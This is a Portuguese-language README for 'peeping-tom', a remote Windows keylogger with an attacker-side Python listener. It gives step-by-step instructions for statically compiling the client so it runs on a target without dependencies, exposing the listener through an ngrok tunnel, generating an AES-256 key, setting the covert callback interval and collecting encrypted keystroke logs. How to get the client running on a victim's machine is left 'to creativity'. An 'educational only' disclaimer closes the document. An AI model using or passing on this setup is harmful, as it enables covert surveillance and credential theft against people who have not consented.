
Keylogger remoto para Windows com exfiltração de teclas criptografadas via AES-256 através de intervalos de callback configuráveis e um servidor Python complementar para análise de logs.
Bem-vindo ao repositório do projeto peeping-tom! Peeping-tom é um programa de duas partes com um peeping-client implantado em um alvo e um toms-server ouvindo os logs de teclas na máquina do atacante. Para configurar e executar, é necessário uma quantidade razoável de preparação, por isso leia atentamente e siga as instruções abaixo.
Claro, se você tiver sugestões, feedback, problemas, etc., sinta-se à vontade para entrar em contato ou criar uma issue ou pull request.
Passo 1: Abra o arquivo de solução do peeping-tom no Visual Studio
Primeiramente, baixe e instale a edição Community do Visual Studio em sua máquina a partir do link acima. Ao passar pelo instalador, certifique-se de selecionar as cargas de trabalho "Desenvolvimento Python" e "Desenvolvimento para desktop com C++", pois elas serão necessárias para carregar e compilar o projeto corretamente.

Quando tudo terminar de instalar, inicie o Visual Studio e selecione a opção "Clonar um repositório". Insira a URL git do projeto e clique em clonar.

Se tudo carregou corretamente, você verá ambos os projetos na janela do Gerenciador de Soluções à direita, conforme mostrado abaixo.

Passo 2: Configure as opções do compilador/linkeditor no Visual Studio
Agora que a ferramenta está carregada no Visual Studio, precisaremos alterar algumas opções e compilar uma biblioteca antes de construir. Isso removerá quaisquer dependências de programa/biblioteca ao executar no alvo.
A primeira tarefa é compilar estaticamente a biblioteca Crypto++, que é usada para criptografia no keylogger. Inicie este processo baixando a versão 8.6.0 da biblioteca aqui.
Depois de baixar o arquivo ZIP, extraia-o para uma pasta, navegue até ele e inicie o cryptest.sln com o Visual Studio. Agora você deve ter duas janelas do Visual Studio, uma com a solução peeping-tom e a outra com a solução cryptest abertas.

Quando o arquivo cryptest.sln estiver carregado no Visual Studio, clique em "Debug" na barra de ferramentas superior e defina para "Release". Altere também a arquitetura para x64, conforme mostrado abaixo.

Agora, clique com o botão direito no projeto cryptlib e selecione Propriedades. Altere a opção destacada conforme mostrado.

Quando isso estiver concluído, construa a solução cryptest.

A construção levará um ou dois minutos, mas quando terminar, um arquivo chamado cryptlib.lib deve aparecer na sua versão do caminho abaixo. Encontre o arquivo e copie seu caminho para a próxima etapa.
C:\Users\Abdullah Beta\Downloads\cryptopp860\x64\Output\Release\cryptlib.lib
Depois de localizar o arquivo e copiar seu caminho, retorne à janela do Visual Studio que tem a solução peeping-tom aberta. Clique com o botão direito no projeto peeping-client e selecione Propriedades. Navegue até a opção mostrada na captura de tela abaixo e cole o caminho do cryptlib.lib.

Certifique-se de que o projeto peeping-client também esteja definido como "Release" e que a arquitetura esteja configurada para x64. NÃO construa a solução peeping-tom ainda, pois ainda há algumas alterações a serem feitas no código-fonte.
Passo 3: Abra um túnel público para localhost:80
Agora o túnel. Depois de criar uma conta Ngrok, baixe o Ngrok para seu sistema operacional a partir do link acima e extraia o executável do arquivo ZIP. Antes de abrir um túnel, você precisará obter um token de autenticação pessoal da sua conta, conforme mostrado abaixo.

Depois de ter o token, adicione-o à configuração local do Ngrok com o seguinte comando:
ngrok config add-authtoken 7cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxmgZ5
Finalmente, abra o túnel usando o seguinte comando:
ngrok http 80 --scheme=http
Se tudo correu bem, você verá algo semelhante à imagem abaixo. Ótimo! Agora você está pronto para esta etapa. Pegue o endereço "Forwarding" destacado e salve-o em algum lugar seguro para mais tarde.

Passo 4: Gere uma nova chave AES-256
Neste ponto, você pode baixar o Python em sua máquina. Depois de instalado, abra uma janela CMD no diretório do projeto toms-server.
Instale as dependências necessárias com:
pip3 install -r requirements.txt
Quando tudo estiver pronto, execute:
python3 toms-server.py -m keygen
Isso deve gerar uma chave AES-256 de 64 caracteres que você também precisará mais tarde, então salve-a junto com o endereço de encaminhamento do Ngrok.
Passo 5: Defina os campos necessários no código-fonte do peeping-client
Agora temos tudo o que precisamos para começar. Abra o arquivo de origem peeping-client project->source files->peeping-client.cpp a partir do Gerenciador de Soluções. Insira as informações relevantes nas duas primeiras variáveis da função main() mostradas abaixo.

Após inserir suas informações, vá para peeping-client project->header files->APIHook.h e substitua o "15" na imagem abaixo pelo intervalo desejado para callback em segundos (por exemplo, altere 15 para 7200 para callback a cada duas horas... você entendeu a ideia).

Finalmente, construa o projeto e você encontrará um executável em sua versão do seguinte local:
C:\Users\Abdullah Beta\source\repos\peeping-client\x64\Release
Parabéns! Agora você tem um keylogger totalmente personalizado configurado para fazer callback com dados de teclas criptografados em intervalos regulares.
Passo 6: Inicie o servidor de escuta
A etapa final é começar a ouvir os logs de teclas recebidos do alvo. Você pode iniciar o servidor em modo de escuta com o seguinte comando:
python3 toms-server.py -m server
Assim que o servidor for iniciado, digite a chave AES exata que você gerou anteriormente e usou no arquivo peeping-client.cpp. Se a chave for aceita, você receberá uma mensagem informando que o servidor foi iniciado!
Passo 7: Analise os logs + notas importantes
Tudo o que resta é executar o recém-construído peeping-client.exe no alvo. Deixo para sua criatividade o como fazer isso. Cada vez que o intervalo definido passar, você receberá uma mensagem no terminal.
Aviso: Certifique-se de não perder a conexão com a internet ou fechar seu túnel Ngrok durante este período, pois isso exigiria a reexecução do programa peeping-client.exe no alvo.
Todos os logs de teclas serão gravados em um arquivo keylog.txt no diretório do script toms-server e podem ser visualizados a partir daí. Isso é tudo para as instruções; espero que você tenha conseguido configurar e executar sem grandes obstáculos!
Em breve!
pip3 install requests
Ao contribuir para este repositório, por favor, discuta as alterações que deseja fazer via issue, email ou LinkedIn.
Este projeto é apenas para fins educacionais. Qualquer tipo de mau comportamento conduzido com este projeto é de responsabilidade do usuário. Eu isento qualquer responsabilidade por ações ilegais.
Este projeto foi parcialmente guiado pelo curso Udemy de Ermin Kreponic e foi reformulado para incorporar algumas novas ideias que tive e novas habilidades que aprendi.
Autor - Abdullah Ansari ©
Informações de contato - Email